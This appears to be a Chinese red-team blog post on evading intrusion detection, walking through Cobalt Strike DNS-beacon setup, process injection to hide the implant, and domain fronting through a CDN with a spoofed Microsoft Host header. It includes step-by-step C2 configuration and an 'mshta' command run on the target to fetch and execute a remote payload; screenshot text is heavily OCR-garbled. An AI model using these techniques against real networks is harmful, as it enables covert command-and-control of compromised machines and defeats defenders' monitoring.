内网流量规避

原创 队员编号039 酒仙桥六号部队 1周前

这是 **酒仙桥六号部队** 的第 **39** 篇文章。 全文共计2129个字, 预计阅读时长8分钟。

IDS和IPS概述

IDS(intrusion detection system)入侵检测系统,旁路检测设备,工作在网络层,并行接在内网 所需防护设备的链路上,通过抓取流量分析数据包,匹配规则库检测到恶意数据进行报警处理。

IPS (Intrusion-prevention system) 入侵防御系统,可覆盖网络层和应用层,比IDS多了主动防御,阻断攻击的功能。



知道IPS的工作原理之后,最直接的方法就是将自己的流量伪装或者隐藏自己的流量。那么如何实现 呢?下面我们来介绍两种方法。

DNS beacon+CobaltStrike

将数据通过dns隧道进行传输,基于udp,利用53端口,隐蔽性强。大多数防火墙和入侵检测设备 对DNS流量是放行的,能有一定效果的绕过入侵检测设备和防火墙的检测。由于dns传输的过程会 经过很多dns节点服务器,所以传输速度会相对较慢。

dns beacon数据链路



1.被控端收到命令之后,向自己记录的dns服务器请求解析域名。

2.内网dns收到请求之后找不到该域名,将请求交给权威域名服务器查询。

3.权威域名服务器向其他服务器同步请求。

4.找到对应的ip为自己的cs服务器,解析请求,实现dns数据链路传输。



配置dns

1.申请域名,添加A记录,将域名与公网ip进行绑定。

主机记录:		.cn 🕐
解析线路:	默认 - 必頃:未匹配到智能解析线路时,返回【默认】线路设 >	0
* 记录值:	39.1C 🔳	

取消 确定

2.添加NS记录,将ns记录指向到A记录的主机名。

记录类型:	NS-将子域名指定其他DNS服务器解析	×
* 主机记录:	ns2	.c um mailC
解析线路:	默认 - 必填!未匹配到智能解析线路时,	返回【默认】线路设 ∨
*记录值:	www.eine i.cn	
POOR LE -		

NS记录可设置2-3个,只需主机记录不一样就行,例:ns1ns3。

0/7/27	7			避				
	28/28 1	2848 :	WEEDING (2.94	TD,	8.0 8.0	80	
	102	NS	M.M.	www.commission.com	10:010	2.9		
		A	BUA.	26.55	10.5748	2.91		

注:添加记录10分钟后生效,用nslookup查询ns记录,结果为0.0.0.0就是同步成功。



生成DNS-beacon监听器

1. 新建dns-beacon

Cobalt Strike----Listeners,点击add新建监听器。(生成dns监听器后, cs服务器就相当于一台 dns服务器了)。

Cobalt Strike View	w Attacks Reporting He	Ip CrossC2				
New Connection	****		6			
Preferences	internal -	listener	user	computer	note	
Visualization	1					
YPN Interfaces						
Listemers						
Script Manager						
E lose						
A				1007		
Listeners X						
name -	payload		host	port	bindto	be
			Add	Edit Remove R	estart Help	

2. 参数设置

Payload: 选择Beacon DNS

Name: 自行设定

DNS Hosts: 填写你的NS记录 (如果有多个NS记录可以都写上)

DNS Hosts (Stager): 填写你的任意一条NS记录

		New Listener	
Create a	listener.		
Name:	DNS		
Payload:	Beacon DN	15	-
Payload	Options		
DNS Hor	sits:	ns2.eh	
DNS Hos	st (Stager):	ns2.x in merch	=
DNS Por	t (Bind):		
		Save Help	
3. 添加成功			

hent

the still been

bindto

beatens

payload

14.81

prof

注: DNS HOST(Stager) 字段配置 DNS Beacon 的 TXT 记录 stager。这个 stager 仅被用在要 求显式stager 的 Cobalt Strike 功能中。你的 Cobalt Strike 团队服务器系统也必须对此域名具有 权威性。

生成payload

目标机为64位win7,所以勾选上生成64位payload。

• • •	Windows Executable (Stageless)
生成无状 出为Wing	态的可执行Windows木马,将无状态Beacon导 dows可执行文件。使用Cobalt Strike Arsenal
监听器:	dns
输出	Windows EXE
x64:	✓ 使用x64 payload
sign:	Sign executable file
	Generate 帮助

放到被控机上运行。之后上线的效果,不会显示任何信息。



需要使用以下两条命令才能有显示:

mode dns 设置数据通道模式

checkin 使beacon强制回连一次

通道模式有三种:

mode dns 使用dns A记录的数据通道(ipv4)

mode dns6 使用dns AAAA记录的数据通道(ipv6)

mode dns-txt 使用dns TXT记录的数据通道

输入完之后等待beacon的下一次心跳连接,dns就会接收带有命令的数据包发送给目标机win7去执

*	18.71	des	Adversion status *	NUMP PC	Instantion (1) or on	jagoon	164	266
		4						
	1							
	 							
(venting X 3	tes X Ustamers X	Reactor 10.211.55.40	1864 X					
1) data chonel	set to \$85							
Best catled	n to checkin home, sent: 8 bytes							
		_						

抓包可看到dns发送极小的数据包。

0.4	k 🗰 🛛	1. 257							vnic0										
4		a	۲			×	8	্	¢	-	2	৵	垫				€.	Q	22
I ud	lp.stre	am eq	22																
No.		Time		\$0	urce			Di	estinat	tion			Protoc	ol Le	ngth	Info			
721	638	87.13	35371	19	.21			16	8.21				DNS		88	Stan	dard	que	гу_
	641	90.16	55484	16	.21	10.10		16	0.2?	100			DNS		88	Stan	dard	que	ry
L	647	94.18	82421	16	.21		D:	16	0.21	10.			DNS		88	Stan	dard	que	ry_
						١	Wresha	urk - <u>iB</u> B		>流(0	dp.stre	am eq	122) -	vnicO					
	-		18225	fe.ns2	Terr Plant	,	nin. cr	li su su s			24	02251	feins?	1.0			• cn	a a a a	
24022	Sfe.	152. 🏓			¢0														

在cs端执行命令,查看数据包,可发现txt记录里为加密传输,并且解析的ns1级了为0.0.0.0,有效 的隐藏了真实ip和传输的数据。

	1000	PART ACTION 1	2010/01/01/02/01 100		9752		A CONTRACTOR OF A CONTRACTOR	States and the	1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.	CONTRACTOR OF STREET, S		1998	
41.	140	ALC: NO DECK	10.000	28.215.55.12	245	1000	Constant garry	Construction of the later	STREET,	No. of Concession, Name	A REAL PROPERTY AND	COLUMN TWO IS NOT	1 · · · · · · · · · · · · · · · · · · ·
	811	104.644030	38.211.15.11	38,211,55,1	046	10.04	States of the	WARD A DOG	C. Law Manager	Allowed Train Arrestor		1 M 1	
	\$34	338,959295	38-231-55-3	38.215.55.12	055	5.23	Standard query	response that	#37 A post.	138.84684468	1.3442254e en1	ALC: MARKED	. CR & B.B.B.B.B
	935	309.462913	38.231.35.33	18.211.55.1	DMS .	240	Standard query	Robbie A per-	5,237450e68	ONDERST	ACTIVITY OF A PARTY AND	1c27 candid 20la	6.00203334608
	812	309.141518	38,233,35,5	18.215.55.12	040	218	Standard query	response that	608 A post.	357410eeH54d	Hicfafed (Salbik	253387466567677	Caref478ball.edb76
	213	344.183895	19.211-15.11	16.211.51.1	045	- 640	Standard overs	Rectar A 248	02510.002.4	Contract of the second	28		
		Classes 26 D	lert strings) weet)	(16)									
	4. 1992	9071)											
		pi. Bestitut.	3482234e.est.	Americana in type T	CT, Class Di								
		Name: apt. 1	34513161, 2002	1918-1811									
		Type: TOT 11	beet, etcrooged	C161									
		CLASSE 24 11	avesa15										
		Take to Live	er 1 in secon	Ф.									
		Durts beingond											
		THE DOUBLE							-				
	-	184 Contrains	CROCKLODE MORNE	CONTRACTOR DURING AND	NAMES AND DESCRIPTION OF	100.000	And a light common	Owner of Consum					
	Et se	ALL IN TAXABLE	at assessed in the										
		31 42 98 23											
100	10	DO 409 30 000	AN 10 11 10	AD 00 00 07 00 00 00 00	7. 4								
100	10.00		B 81.81 28	60 60 31 33 63 35 57	CONTRACTOR AND IN	anter 1							
00	ee 10	37 61 66 68	33 38 38 32	32 35 66 65 80 66 73	30ad-348 3236	1.000							
- 640	SE 16	AC 63 68 65	Se 62 Se 63	6e 7a 68 75 68 82 63	d-chenge auth	ai e -							
100	12. 14 0		03 (8 8) 08		and the state of the second								
1000		10. 17 11 10	14 10 45 11	AT 10, 14, 17, 47, 41, 57,	Trindiger of Allend								
047	12	58 45 49 59	30 64 67 40	76 71 56 49 69 79 62	Dillivide loof.	inte -							
68	1 50	21 26 64 41	Sec 65 73 34	46 57 54 35 42 73 78	Dermont's antip								
100	10 N	36 66 67 64	78 69 76 36	All 34 44 63 39 52 55	461.0×110 64234	96							
	30	AL 46 13 45	30.00 01 35	24.24	2006-1010-10-F								

此时在被控端的设备上查看任务管理器还能看到运行的任务进程。

₩ 任务管理器 文件(F) 选项(O) 查看(V)						
进程 性能 应用历史记录 启动 用户	详细信息 服务					
~ 名称	状态		12% CPU	36% 内存	1% 磁盘	
应用 (1)						
> 👰 任务管理器		3.7%	17.9 MB	0.1 MB/19	0	
后台进程 (54)						
> 👩 Acunetix (32 位)		0%	0.2 MB	0 MB/秒	0	
COM Surrogate			0%	1.6 MB	0 MB/10	0
COM Surrogate			0%	0.7 MB	0 MB/19	0
> 💽 Cortana (小卿)		φ	0%	0 MB	0 MB/₺	0
CTF 加载程序		_	0%	2.6 MB	0 MB/秒	0
💽 dns.exe			0%	1.7 MB	0 MB/秒	0
🚺 Java Update Scheduler (32 位)			0%	1.1 MB	0 MB/秒	0
KMS Connection Broker			0%	1.3 MB	0 MB/₺	0
👘 Microsoft IME		0%	0.9 MB	0 MB/19	0	
> 🧧 Microsoft Text Input Applicat			0%	6.4 MB	0 MB/秒	0
<						
(△) 箇時信息(D)						结束

编末

在cs端打开进程列表,选择进程,点击Inject,将payload注入到进程中,等待上线后,删除原来的 payload,进行进程隐藏。

Name 1252 pythos.exe 100 perco. Arreste 49.05 Siner, T 1760 conheateur 1260 NT AUTHORITY SYSTEM 540 1.86 allown, assist, service, eve ġ, 1464: sychoot and 1300 540 sychool.exe 164 AT AUTHORITY/SYSTEM 1824 myseld.exe 111216 5.66 CONTRACTORY AND 10.00 in. ME AND REPORT OF SYSTEM 3438 tech even NT AUTHOR/TYL/SYSTEM \$40 2014 1848 myseldese 1872 Officioamon.ese 3464 \$40 wheten 1664 8 AT AUTHORITY SYSTEM pathon area 1616 11226 10.0 AT AUTHORITY SYSTEM 2016 OfficeObProxy.exe 100 ALL PROPERTY SYSTEM 1.24 1616 10.00 1564 OfficeIndex.exe 10.00 and the state of the state . of autoexern protein 🗖 1368: OfficeWall.exe AT A THEAT IN SOUTH A 14.23 and the set of the set E 2128: OfficeReducere MLAUTHORITYLSYSTEM 1251 conheat are 164 1768 10 2596 reds-service14.com 1014 \$40 myseld and 164 NT AUTHORITY/SYSTEM 2212: Office Task.com 3848 3872 540 myseld.eve 1.00 MT AUTHORITY AVAILANT AT AUTHORITY SYSTEM 540 OfficeOaemon.exe 1.85 OfficeObProvy.exe 2744 OfficeNetwork 2016 \$40 185 NE AUTHORITO/SYSTEM D 1968; Office/PM and 2564 540 Officiendes and 1.84 MT AUTHORITYLSYSTEM. AT AUTHORITY/SYSTEM □ 3212 conhest.ese □ 49620 php-oplase 2.54.8 Official error 146 540 2139 540 Office Reads area 185 NT AUTHORITY SYSTEM Therease 2212 Sale Office Task even 100 M AUTHORITY/SYSTEM Log Grystrokes. BBBE Steal Token Rill Kill Refresh

效果如下,可以看到已经注入成功,process为sqlserver.exe

总结:

优势:此方法可以隐藏自己的真实ip,走udp协议,所以不会开放额外的端口,迁移进程之后也无 法看到payload所使用的原始程序,同时也对数据进行加密处理。

劣势:但由于还是会暴露自身的域名,且现在有一些安全设备已经具备了监测dns流量的功能,所 以还是会被找到攻击者的痕迹。

Domain Fronting

Domain Fronting,中文译名"域前置"或"域名前置",用于隐藏服务器真实ip并伪装成高信誉域 名与目标通讯,来规避IDS的流量检测,Domain Fronting的核心技术是 CDN。

CDN请求机制:



如果有多台设备使用同一个cdn服务器,那么服务器就可以通过host头去寻找指定的真实服务器。



同一个cdn服务器下不存在多个ip绑定一个域名,绑定同样的域名会有错误提示。

配置方法:

配置CDN

购买云服务器,开通CDN服务。

加速域名:随便填个高信誉的域名实现域名伪造,例如:oss.microsoft.com, abc.google.com之 类的。

IP: 填写cs服务器的ip地址。



过几分钟等状态变为正常运行即可。

Exel- C 20086 ~	C 200.00 ~ 200.00								
16.6	CHANE ()	以出 7	1000	10816	8.9				
extremet.com	🕒 sau Historia com e Isufuncian com	+ 2840	A26	2020-08-11 14:34:31	ER REEK RO				

复制CNAME,去站长工具上ping,响应的ip就是各大机房的cdn服务器ip。

2020/7/27

内网	流量规避
----	------

2.8.6 +	BEP (PERS	MUSPIN +	TTL.	268	
17.898-0(16.00)	ALTER (THINK)				######################################	
[1848년(848]	N	05694848	13mm	54	PROGRAM MIRRIANS	
(29米酒(802多根)	100000	山东省南兴市 电信	37mm	107	小米加加品级外部025	
/*8.04(83)	18 86	CBER98 EXCER	15mm	108	DISERVED OFFERENCES IN	
第三五十十(8-2)	y III III III III	山乐県 8-8	23ma	68	29-DHEARARD ABILD	
SU1888(4:St)	10000	7.88878 930068	30ms	112	RESERVICES IN	
100900000000	8 0	2569/15 68	Qena	54	DOCTOR OF THE PARTY OF THE PART	
12592(54)	4 mmPa	05691543	ctea.	56	BURS-BRADICPILS	
22/10/2014-001	5	01966540	4ma	314	RESEARCE R	
浙江出华(电信)	I IIII	12568/15 4/8	14ms	52	2中由市场AR821042112	
INCOMPANY AND	5	ISSENS 44	14ma	65	600C(2)/FER88	
30.030.001950	8 3	125684543	20ma	92	RECONSERVERING	
广东运兵(电路)	nde: min	786896 6800ER	17008	108	(SHE) ANANAB ERA RR	

输入curl (CDN任意机房) IP -H "Host: (伪造域名)"-v

此时能出来404就对了。(要等很久,一直是报502的错)

不明白的看上面的伪造请求的流程图!!!



配置c2-profile

▲注意: cs需要使用3.x版本, 4.x版本不支持。

1.直接使用开源项目 Malleable-C2-Profiles 中的 amazon.profile, 但需要把其中的 Host 头改成我们自己在 CDN 中绑定的域名。

点击amoazon.profile打开下载地址。



2.将文件保存放在cs服务端的根目录,在启动脚本后面加上./amazon.profile进行加载。

45 200	🚖 収蔵向	2.称	修改日期	200 E	大小	
44, 2105	第一下 版	📕 third-party	2020/3/14 0:57	文件例		
at jaw	E 43	📕 uploads	2020/3/26 17:54	党间内		
at upl	10. @UFA83500	🗼 Win_Linux shell script	2020/1/14 0:57	文目央		
at jau	The second second second	.cobaltstrike.beacon_keys	2020/3/15 18:58	BEACON_KEYS	2 KB	
:33m(13+08	A CONTRACTOR	Si 1.bat	2020/6/11 15:13	Windows BSER	1 KB	
:33m(†)+10	17 20000	agsoript	2020/3/14 0:57	文明	1.158	
> read Dias	B 9030	agsoriet bat	2020/3/14.0/57	Weidows BASE	1.148	
133mC13+08	自動片	amazon.profile	2020/6/15 14:39	PROFILE 2014	2 KB	
nagel unau:	11 文書	c2fiet	2020/3/14 0:57	文件	3.008	
総合 半 1	· Fill	C25mt.bat	2020/3/14 0:57	Windows REE	1.148	
	B #%	🗅 eschabetellea	2020/2214-0-57	1000	1.102	
		1.b	at - 记亭本			- 0
交件的 磷磷化	(NGC(O) 夏夏(V) 開助	(H)				
Bava -Dfile. Djavaz net. s	encoding=UTF-8 -300 ms1.keyStore=./cobal	:ParallelGCThreads=4 -Xms512m Itstrike.store -Djavas.met.ssl	-Xmc1024m -Doobalty .keyStor+Patswords	trike.server_po	rt=50050 - XX:+AggressiveHee	up -300:
+ÜseParaliel	GC -classpath ./col	baltstrike, jar server. TeamServ	wer in Gio 🗰	. /amazon.p	rofile	

配置cs

1.新建一个listener,选择httppayload,主机填cdn绑定的域名。

	Create a	listener.
_	名字	cdn
_	Payload:	windows/beacon_http/reverse_http 🔹
	主机:	oss.microsoft.com
	端口:	80

2.点击确定后,下面的界面输入任意一个阿里云cdn的ip地址即可。



3.点击视图----web日志,可看到各种404的信息,那就对了。(挺耗流量的,用完记得把监听删 掉)



4.因为域前置流量的特殊性, cs自带的payload都无法使用,不过还好有大佬已经写好了payload, 直接加载进来即可。

点击CACTUSTORCH进入下载页面

使用方法:

a.将文件解压到cs客户端根目录

b.打开cs选择脚本管理器

c.点击load

d.选择CACTUSTORCH.can进行加载

5.点击攻击,会多出来一个payload选项。



6.local host填公网ip, 选择刚刚创建的listener, type我用的是hta。



7.确认之后生成payload链接。复制下来。

• •	输入
0	Payload:
•	http://39.10 📮 📄 :80/a
	确定取消

8.在目标机上运行mshta http://xx.xx.xx.xx:80/a

即可看到目标上线, external地址会不断的变化, 都为cdn服务器的ip。

externa		interna		user		computer	note	pid
5	7	E	53	B.	. 11	STUI		4588

9.开启wireshark抓虚拟机的包,没有cs服务器的真实ip。

搜索cdn服务器地址,看到的host为oss.microsoft.com,页面状态码都为200即可。

	p.addr	== 117.25.150	5.166						
No.		Time	Source		Destinatio	n	Protocol	Length	Info
-	4	2.733215	1	.16	117	36	HTTP	552	GET /s/ref=nb_
	5	2.733293	1	66	10.	.6	TCP	54	88 - 5286 [ACK
4	6	2.839868	1	56	10.	6	HTTP	486	HTTP/1.1 200 0
	7	3.044770	16	.6	117	5	TCP	54	5286 → 80 [ACK
+	13	7.834999	1(6	117	.6	HTTP	552	GET /s/ref=nb_
	14	7.835089	15 👘 🖬	166	10.	.6	TCP	54	88 - 5286 [ACK
	4.0	3.050503		100	4.0-	4	LITTLE	4000	10000 14 4 222 4

GET /s/refamb sb moss 1/167-3294888-0262949/field-keywords=books HTTP/1.1
Accept: #/*
Cookie: skin=noskin; session=token=HjdgIf7ZepV5ydAQIRK8+GOP6TJ828dyU1fvH25SzdcMelBxQm/cimsiMEcbaAst4152EG88Zubvi
User-Agent: Mazilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: Tengine
Content-Length: 8
Connection: keep-alive
Date: Fri, 12 Jun 2020 08:02:48 GMT
x-anz-id-2: a21vZ2xrNDNtdGRsa212bGV3YW85anZuZW9vd65rZmRuZ2tnZG14aHRvMDVpboo=
X-Frame-Options: SAMEORIGIN
Content-Encoding: grip
Timing-Allow-Origin: +
EagleId: 6e5084a115919489680272849e
GET /s/ref=nb sb noss 1/167-3294888-0262949/field-keywords=books HTTP/1.1
Host: oss.microsoft.com
Accept: #/# Fookie: skiewooskie:session_token_HidoTf77en//SudADT0K8uCDPET1828dvU1fvW255zdrMeT8v0m/rims1MEchalst4152EC887u0v/
z8XAe8YFu0C18aN81rWmqZB5j7+Q=csm-hit=s-24KU118882RZ5YGJ38DK 1419899812996
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Reep-Alive
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 0
Connection: Reep-alive Date: Fri, 12 Jun 2020 08:02:53 GMT
Polor rray as por appo verofilo uni



优势:此方法能有效的隐藏自己真实的ip和域名等信息,对方能看到的只能是cdn的域名。且传输 速度快。

劣势:长期对自身资源消耗极大。

